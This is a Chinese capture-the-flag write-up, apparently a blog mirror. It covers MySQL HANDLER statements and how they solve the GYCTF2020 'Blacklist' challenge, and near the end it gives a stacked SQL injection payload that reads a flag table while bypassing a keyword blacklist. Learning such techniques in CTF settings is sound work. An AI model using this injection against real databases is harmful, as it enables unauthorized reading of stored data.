zoukankan      html  css  js  c++  java
  • 从[GYCTF2020]Blacklist] 学习到的 handler 语句

    0x00 学到的知识点

    mysql查询语句除了select之外,还可以使用handler来一行一行查看表中数据.

    参考文章:https://blog.csdn.net/JesseYoung/article/details/40785137

    基本使用方法:

      handler [table_name] open; #获取一个table_name的句柄

      handler [table_name] read first; #查看句柄第一行

      handler [table_name] read next; #查看下一行

      handler [table_name] close;


    也可以通过索引查看表中信息(FIRST,NEXT,PREV,LAST):

      creat index [index_name] on [table_name](cloumn_name); #其中cloumn_name为要创建索引的列名

      handler [table_name] open;

      handler [table_name] read [index_name] first; #first获取第一行,next获取第二行,prev获取前一行,last获取最后一行

      handler [table_name] close;


      creat index [index_name] on [table_name](cloumn_name);

      handler [table_name] read [index_name] = (2); #从索引值为2的地方查看数据

      handler [table_name] close;


    0x01 [GYCTF2020]Blacklist

    这道题目和[强网杯2018 随便住]很类似,不同的是,这道题把预定义处理语句中的'set','prepare'全部给过滤掉了,正确的解题姿势就是上面所说的hander语句.

    首先就是常规的堆叠注入,看表名字段名,最后一步的时候用到了hander语句(由于注入流程和[随便注]很类似,这篇文章就不上图了).

    payload:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close; #

    即可成功读取flag.

  • 相关阅读:
    Docker-常用命令
    5分钟了解折半插入排序
    Spring框架之IOC原理
    使用JS实现简单喷泉效果
    坦克大战系列6-API常用函数说明1
    坦克大战系列6-API常用函数说明2
    为什么要使用-Docker
    SQL语言:存储过程
    使用原生JS重构简单的音乐播放器
    [区间DP]ZOJ3541 The Last Puzzle
  • 原文地址:https://www.cnblogs.com/hello-there/p/12882991.html
Copyright © 2011-2022 走看看